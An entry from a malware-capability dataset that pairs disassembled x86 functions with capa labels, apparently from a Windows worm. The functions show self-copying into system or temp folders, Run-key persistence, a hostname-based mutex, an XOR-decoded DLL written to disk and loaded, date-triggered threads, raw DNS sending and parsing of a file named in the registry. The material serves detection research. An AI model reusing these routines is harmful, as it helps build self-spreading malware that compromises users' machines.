joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46124f
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x461287
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0045f306
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0045f2de
jmp 0x461293
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x46293d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x46297f
call fcn.004684be
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x46297f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x462976
xor eax, eax
jmp 0x462987
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0046298d
pop edi
pop esi
pop ebx
ret 4

Function at 0x4689ee
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x468a1c
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x468a3a
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00468954
jmp 0x468a3a
mov eax, dword [esi + 0x14]
test eax, eax
je 0x468a3a
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00468954
test edi, edi
mov eax, edi
jne 0x468a24
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x504cc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
xor ecx, ecx
xor esi, esi
cmp dword [ebp + 0xc], ecx
mov byte [ebp - 1], 0xc7
jle 0x504d3f
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
cmp ecx, 0x400
jb 0x504cfc
lea eax, [ebp - 8]
push 0
push eax
lea eax, [ebp - 0x408]
push ecx
push eax
push dword [ebp + 0x10]
call edi
xor ecx, ecx
mov eax, dword [ebp + 8]
mov ebx, 0x85
mov al, byte [esi + eax]
xor al, byte [ebp - 1]
inc ecx
mov byte [ebp + ecx - 0x409], al
mov eax, esi
cdq
idiv ebx
mov al, dl
mov dl, 3
imul dl
add byte [ebp - 1], al
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x504cdf
test ecx, ecx
pop ebx
je 0x504d3e
lea eax, [ebp - 8]
push 0
push eax
lea eax, [ebp - 0x408]
push ecx
push eax
push dword [ebp + 0x10]
call edi
pop edi
pop esi
leave
ret
Function at 0x504d42
Capabilities:
Check if file exists
Get common file path
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push edi
call fcn.00505808
movzx eax, ax
push 5
xor ebx, ebx
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, 4
cmp esi, ebx
jle 0x504d83
call fcn.00505808
movzx eax, ax
push 0x1a
cdq
pop ecx
idiv ecx
add dl, 0x61
mov byte [ebp + edi - 0x1c], dl
inc edi
cmp edi, esi
jl 0x504d69
and byte [ebp + edi - 0x1c], 0
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x1c]
push 0x502f4c
push eax
call edi
mov esi, dword [ebp + 8]
mov dword [ebp + 8], ebx
mov dword [esi + 0x108], ebx
cmp dword [ebp + 8], ebx
lea eax, [ebp - 0x134]
jne 0x504dbe
push 0x118
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
jmp 0x504dca
push eax
push 0x118
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
cmp byte [ebp - 0x134], 0
je 0x504e44
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x134]
dec ecx
cmp byte [eax + ecx], 0x5c
je 0x504dfb
lea eax, [ebp - 0x134]
push 0x502f48
push eax
call edi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x134]
push eax
call edi
push ebx
push 0x80
push 2
push ebx
push 3
lea eax, [ebp - 0x134]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
test ebx, ebx
je 0x504e30
cmp ebx, 0xffffffff
jne 0x504e53
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x504eaf
xor ebx, ebx
inc dword [ebp + 8]
cmp dword [ebp + 8], 2
jl 0x504da5
jmp 0x504eca
push ebx
push 0x1c00
push 0x501320
call fcn.00504cc0
add esp, 0xc
call fcn.00505808
movzx eax, ax
cdq
mov ecx, 0x400
idiv ecx
cmp edx, 1
jle 0x504e9c
lea edi, [edx - 1]
call fcn.00505820
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push 0
push eax
lea eax, [ebp - 4]
push 4
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
dec edi
jne 0x504e7e
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [esi + 0x108], 1
jmp 0x504eb9
mov dword [esi + 0x108], 2
lea eax, [ebp - 0x134]
push eax
lea eax, [esi + 4]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
cmp dword [esi + 0x108], 1
jne 0x504ee7
lea eax, [esi + 4]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [esi + 0x108], 2
pop edi
pop esi
pop ebx
leave
ret

Function at 0x504f9a
Capabilities:
Check mutex on windows
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push 0x100
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x100
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
and byte [ebp - 0xf9], 0
lea eax, [ebp - 0x104]
push 0x502f94
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x204]
push 0x502f84
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x204]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
sub eax, 0xb7
neg eax
sbb eax, eax
inc eax
leave
ret
Function at 0x505029
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push ebx
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 3
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x5050dc
cmp eax, 0xffffffff
je 0x5050dc
push ebx
push ebx
push 0x6d60
push eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
call fcn.00505808
movzx eax, ax
cdq
mov ecx, 0x1fa0
idiv ecx
cmp edx, ebx
jle 0x5050d3
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
mov dword [ebp - 8], edx
mov edi, 0x400
cmp ebx, edi
jb 0x5050a8
xor ebx, ebx
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x40c]
push edi
push eax
push dword [ebp - 4]
call esi
call fcn.00505808
mov byte [ebp + ebx - 0x40c], al
inc ebx
dec dword [ebp - 8]
jne 0x505090
test ebx, ebx
je 0x5050d1
lea eax, [ebp - 0xc]
push 0
push eax
lea eax, [ebp - 0x40c]
push ebx
push eax
push dword [ebp - 4]
call esi
pop edi
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop ebx
leave
ret
Function at 0x5050df
Capabilities:
Check if file exists
Copy file
Delete file
Get common file path
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
xor ebx, ebx
push 0x14
lea eax, [ebp - 0x18]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.00505808
movzx eax, ax
push 0xa
xor esi, esi
cdq
pop ecx
idiv ecx
mov edi, edx
add edi, 4
cmp edi, ebx
jle 0x50512f
call fcn.00505808
movzx eax, ax
push 0x1a
cdq
pop ecx
idiv ecx
add dl, 0x61
mov byte [ebp + esi - 0x18], dl
inc esi
cmp esi, edi
jl 0x505115
lea eax, [ebp - 0x18]
mov byte [ebp + esi - 0x18], bl
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x502f98
push eax
call esi
lea eax, [ebp - 0x234]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea ecx, [ebp - 0x234]
add eax, 0x10c
push ecx
push eax
mov dword [ebp - 4], eax
call edi
mov dword [ebp + 8], ebx
cmp dword [ebp + 8], ebx
lea eax, [ebp - 0x130]
jne 0x50518e
push 0x118
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
jmp 0x50519a
push eax
push 0x118
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
cmp byte [ebp - 0x130], bl
je 0x50526d
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x130]
dec ecx
cmp byte [eax + ecx], 0x5c
je 0x5051ce
lea eax, [ebp - 0x130]
push 0x502f48
push eax
call esi
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x130]
push eax
call esi
lea eax, [ebp - 0x130]
push 0x20
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push ebx
push 0x80
push 2
push ebx
push 3
lea eax, [ebp - 0x130]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, ebx
je 0x50525b
cmp eax, 0xffffffff
je 0x50525b
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x130]
push ebx
push eax
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
je 0x50526d
lea eax, [ebp - 0x130]
push eax
call fcn.00505029
pop ecx
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call edi
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x50524a
inc dword [ebp + 8]
cmp dword [ebp + 8], 2
jl 0x505175
jmp 0x505256
Function at 0x50527c
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0xa4
push ebx
push esi
push edi
xor ebx, ebx
push 0x20
lea eax, [ebp + 0x50]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.00505808
movzx eax, ax
push 5
xor edi, edi
cdq
pop ecx
idiv ecx
mov esi, edx
add esi, 4
cmp esi, ebx
jle 0x5052ce
call fcn.00505808
movzx eax, ax
push 0x1a
cdq
pop ecx
idiv ecx
add dl, 0x61
mov byte [ebp + edi + 0x50], dl
inc edi
cmp edi, esi
jl 0x5052b4
push 0x6e
push 0x75
push 0x52
push 0x5c
lea eax, [ebp - 0x30]
push 0x502fa0
push eax
mov byte [ebp + edi + 0x50], bl
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0x18
lea eax, [ebp + 0x70]
mov edi, 0x20006
push eax
push edi
lea eax, [ebp - 0x30]
push ebx
push eax
push connect
call esi
test eax, eax
je 0x505321
lea eax, [ebp + 0x70]
push eax
push edi
lea eax, [ebp - 0x30]
push ebx
push eax
push connect
call esi
test eax, eax
jne 0x50534d
mov esi, dword [ebp + 0x7c]
add esi, 0x10c
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
push esi
push 1
lea eax, [ebp + 0x50]
push ebx
push eax
push dword [ebp + 0x70]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
add ebp, 0x74
leave
ret

Function at 0x505367
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
cmp word [ebp - 0xe], 0x11
jb 0x50539a
cmp word [ebp - 0xe], 0x16
ja 0x50539a
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push eax
push 0x505355
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
leave
ret

Function at 0x5055da
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.00504eec
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
xor edi, edi
cmp dword [esi], edi
pop ecx
jne 0x505605
push esi
call fcn.00504f9a
test eax, eax
pop ecx
jne 0x50565f
cmp dword [esi], edi
je 0x505614
lea eax, [ebp + 8]
push eax
push edi
push edi
push 0x50539c
push edi
push edi
call ebx
push esi
call fcn.00504d42
call fcn.00505cdc
push esi
call fcn.005050df
push esi
call fcn.0050527c
push esi
call fcn.00505367
add esp, 0x10
call fcn.005070de
lea eax, [ebp + 8]
push eax
push edi
push edi
push 0x5070f0
push edi
push edi
call ebx
call fcn.0050778e
call fcn.00507f72
push 0x400
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x50564d
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x505664
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
add esp, 0x190
ret

Function at 0x50567e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
call fcn.005057fc
call fcn.00505664
push 0x210
lea eax, [ebp - 0x210]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x210]
push eax
call fcn.005055da
add esp, 0x10
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x505cdd
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
xor ebx, ebx
push 0x400
lea eax, [ebp - 0x400]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov word [ebp - 0x400], ax
mov ax, word [ebp + 0x14]
push 1
mov word [ebp - 0x3fe], ax
call dword [sym.imp.WS2_32.dll_htons]
xor edx, edx
mov word [ebp - 0x3fc], ax
cmp byte [edi], dl
mov word [ebp - 0x3fa], bx
mov word [ebp - 0x3f8], bx
mov word [ebp - 0x3f6], bx
je 0x505d9b
lea esi, [ebx + edi]
mov eax, ebx
mov cl, byte [esi]
jmp 0x505d57
cmp cl, 0x2e
je 0x505d5b
inc eax
mov cl, byte [eax + edi]
test cl, cl
jne 0x505d4e
mov cl, al
sub cl, bl
mov byte [ebp + edx - 0x3f4], cl
inc edx
cmp ebx, eax
jge 0x505d89
sub eax, ebx
lea edi, [ebp + edx - 0x3f4]
mov ecx, eax
add ebx, eax
mov dword [ebp + 0x14], ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
add edx, eax
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x10]
cmp byte [ebx + edi], 0x2e
jne 0x505d93
inc ebx
cmp byte [ebx + edi], 0
jne 0x505d45
xor ebx, ebx
mov edi, dword [sym.imp.WS2_32.dll_htons]
and byte [ebp + edx - 0x3f4], 0
push 0xf
lea esi, [edx + 0xd]
call edi
mov word [ebp + esi - 0x400], ax
inc esi
push 1
inc esi
call edi
push 0x10
mov word [ebp + esi - 0x400], ax
push dword [ebp + 0xc]
add esi, 2
lea eax, [ebp - 0x400]
push ebx
push esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
xor ecx, ecx
pop edi
test eax, eax
setle cl
pop esi
mov eax, ecx
pop ebx
leave
ret
Function at 0x5064cc
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call fcn.005062f9
test eax, eax
pop ecx
jne 0x5064df
jmp fcn.005063c7
ret

Function at 0x506f99
Capabilities:
Create thread

Disassembly:
sub esp, 0xc
and dword [esp], 0
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [0x509d10], 0
jmp 0x506fce
push 0x800
call edi
push 1
call fcn.00507799
mov dword [esp], 0x3800
call edi
call fcn.00505bab
test eax, eax
je 0x506fb7
xor eax, eax
cmp dword [esp + 0x10], 1
sete al
push eax
call fcn.00507799
mov eax, dword [0x509d0c]
xor esi, esi
xor ebx, ebx
xor ebp, ebp
test eax, eax
pop ecx
mov dword [esp + 0x14], esi
je 0x507049
inc ebx
cmp byte [eax + 8], 0
jne 0x507011
inc ebp
test esi, esi
je 0x50700f
mov cl, byte [esi + 9]
cmp cl, byte [eax + 9]
jle 0x507011
mov esi, eax
mov ecx, dword [eax + 4]
cmp ecx, dword [esp + 0x14]
jb 0x50701e
mov dword [esp + 0x14], ecx
mov eax, dword [eax]
test eax, eax
jne 0x506ffb
cmp ebx, 0x1000
jl 0x507049
call fcn.00506f3f
cmp ebp, 0x100
jle 0x507049
xor eax, eax
inc eax
push eax
mov dword [esp + 0x14], eax
call fcn.00507799
pop ecx
jmp 0x50704e
and dword [esp + 0x10], 0
xor eax, eax
cmp ebp, eax
je 0x5070a3
cmp esi, eax
je 0x5070a3
cmp dword [0x509d10], 3
jb 0x50706b
push 0x100
jmp 0x506fcc
lea ecx, [esp + 0x18]
mov byte [esi + 8], 1
push ecx
push eax
push esi
push 0x506f00
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
test eax, eax
je 0x507095
cmp eax, 0xffffffff
je 0x507095
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x5070d4
mov byte [esi + 8], 2
push 0x400
jmp 0x506fcc
push eax
mov dword [esp + 0x14], 2
call fcn.00507799
cmp ebx, 3
pop ecx
jl 0x507099
cmp dword [esp + 0x14], 0
je 0x507099
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
sub eax, dword [esp + 0x14]
cmp eax, 0x2ee0
jb 0x507099
call fcn.00506c81
push 0x80
jmp 0x506fcc

Function at 0x5072df
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10010
call fcn.00509ac0
push ebx
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 3
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x5073a8
cmp eax, 0xffffffff
je 0x5073a8
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
lea ecx, [ebp - 4]
push ebx
push ecx
mov edi, 0xfffd
lea ecx, [ebp - 0x10010]
push edi
push ecx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
push eax
jmp 0x50738d
cmp eax, 0xffff
jae 0x507399
add dword [ebp - 8], eax
mov byte [ebp + eax - 0x10010], bl
push eax
lea eax, [ebp - 0x10010]
push eax
call fcn.005070fe
push dword [ebp - 4]
lea eax, [ebp - 0x10010]
push eax
call fcn.005071eb
add esp, 0x10
add dword [ebp - 0xc], eax
jne 0x50737d
cmp dword [ebp - 8], 0x4b000
ja 0x507399
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x10010]
push edi
push eax
push dword [ebp - 0x10]
mov dword [ebp - 4], ebx
call esi
mov eax, dword [ebp - 4]
cmp eax, ebx
jne 0x50733f
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
xor eax, eax
pop esi
jmp 0x5073ab
xor eax, eax
inc eax
pop ebx
leave
ret
Function at 0x5073ae
Capabilities:
Copy file

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x38c
mov eax, dword [ebp + 0x7c]
test eax, eax
je 0x5075e0
cmp byte [eax], 0
je 0x5075e0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push edi
push eax
lea eax, [ebp - 0x110]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp - 0x110]
push eax
call edi
lea ecx, [ebp - 0x110]
dec ecx
cmp byte [eax + ecx], 0x5c
je 0x50740e
lea eax, [ebp - 0x110]
push 0x502f48
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
call fcn.00505808
movzx eax, ax
push 0x64
pop ebx
cdq
mov ecx, ebx
idiv ecx
xor eax, eax
cmp edx, 0x4b
setl al
mov dword [ebp + 0x7c], eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x318]
push eax
call esi
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
lea eax, [ebp - 0x110]
push eax
call edi
cmp eax, 0xc
jg 0x50746d
call fcn.00505808
movzx eax, ax
cdq
mov ecx, ebx
idiv ecx
xor eax, eax
cmp edx, 0x28
setl al
test eax, eax
jne 0x5074ec
lea eax, [ebp - 0x110]
push 0x5037a8
push eax
call fcn.00505836
pop ecx
test eax, eax
pop ecx
jne 0x5074ec
lea eax, [ebp - 0x110]
push 0x5037a0
push eax
call fcn.00505836
pop ecx
test eax, eax
pop ecx
je 0x5074b4
call fcn.00505808
movzx eax, ax
cdq
mov ecx, ebx
idiv ecx
xor eax, eax
cmp edx, 0x14
setl al
test eax, eax
jne 0x5074ec
lea eax, [ebp - 0x110]
push 0x503798
push eax
call fcn.00505836
pop ecx
test eax, eax
pop ecx
je 0x5074d1
and dword [ebp + 0x7c], 0
jmp 0x5074ec
call fcn.00505808
movzx eax, ax
cdq
idiv ebx
xor eax, eax
cmp edx, 5
setl al
test eax, eax
je 0x5075dd
lea eax, [ebp - 0x214]
push 0x104
xor edi, edi
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call fcn.00505808
movzx eax, ax
push 0xa
cdq
pop ecx
idiv ecx
mov esi, edx
add esi, 4
test esi, esi
jle 0x507532
call fcn.00505808
movzx eax, ax
push 0x1a
cdq
pop ecx
idiv ecx
add dl, 0x61
mov byte [ebp + edi + 0x34], dl
inc edi
cmp edi, esi
jl 0x507518
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcatA]
and byte [ebp + edi + 0x34], 0
lea eax, [ebp + 0x34]
push 0x502f98
push eax
call ebx
call fcn.00505808
movzx eax, ax
push 0xa
xor edi, edi
cdq
pop ecx
idiv ecx
mov esi, edx
add esi, 4
test esi, esi
jle 0x50757b
call fcn.00505808
movzx eax, ax
push 0x1a
cdq
pop ecx
idiv ecx
add dl, 0x61
mov byte [ebp + edi - 0xc], dl
inc edi
cmp edi, esi
jl 0x507561
and byte [ebp + edi - 0xc], 0
cmp dword [ebp + 0x7c], 0
je 0x5075ba
lea eax, [ebp - 0xc]
push 0x503790
push eax
call ebx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x110]
push eax
call ebx
lea eax, [ebp + 0x34]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.0050819c
add esp, 0xc
jmp 0x5075dd
lea eax, [ebp + 0x34]
push eax
lea eax, [ebp - 0x110]
push eax
call ebx
lea eax, [ebp - 0x110]
push 1
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
pop edi
pop esi
pop ebx
add ebp, 0x74
leave
ret
Function at 0x5075e5
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x94
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push 3
push connect
push dword [ebp + 0x7c]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, ebx
mov dword [ebp + 0x64], esi
je 0x5076e9
cmp esi, 0xffffffff
je 0x5076e9
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push ebx
push ebx
push ebx
push 2
push ebx
push esi
mov dword [ebp + 0x68], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
cmp eax, ebx
mov dword [ebp + 0x60], eax
je 0x5076e4
cmp eax, 0xffffffff
je 0x5076e4
push edi
push ebx
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov edi, eax
cmp edi, ebx
jne 0x507667
push 3
pop ebx
jmp 0x5076cd
mov eax, dword [edi + 0x64]
mov ecx, dword [edi + 0x60]
cmp eax, ebx
jbe 0x5076c6
mov dword [ebp + 0x70], ecx
mov dword [ebp + 0x6c], eax
mov esi, dword [ebp + 0x70]
push 0x80
lea eax, [ebp - 0x20]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 0x68]
add esp, 0xc
xor eax, eax
cmp esi, ecx
jae 0x5076bd
cmp eax, 0x44
jae 0x5076ad
mov dl, byte [esi + edi]
mov byte [ebp + eax - 0x20], dl
cmp byte [esi + edi], bl
je 0x5076ad
inc eax
inc esi
inc esi
cmp esi, ecx
jb 0x507695
cmp eax, ebx
jbe 0x5076bd
lea eax, [ebp - 0x20]
push ebx
push eax
call fcn.00506b9f
pop ecx
pop ecx
add dword [ebp + 0x70], 0x44
dec dword [ebp + 0x6c]
jne 0x507677
push edi
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push dword [ebp + 0x60]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
push dword [ebp + 0x64]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, ebx
jmp 0x5076ec
push 2
pop ebx
jmp 0x5076d7
xor eax, eax
inc eax
pop esi
pop ebx
add ebp, 0x74
leave
ret

Function at 0x5076f3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push ebx
mov eax, 0x5037e0
push 0x5037d4
push eax
push eax
lea eax, [ebp - 0x58]
push 0x5037b0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 0x20019
lea eax, [ebp - 0x58]
push ebx
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x50778b
push 0x100
lea eax, [ebp - 0x158]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x100
push eax
lea eax, [ebp - 0x158]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x158], bl
je 0x50778b
lea eax, [ebp - 0x158]
push eax
call fcn.005075e5
pop ecx
pop ebx
leave
ret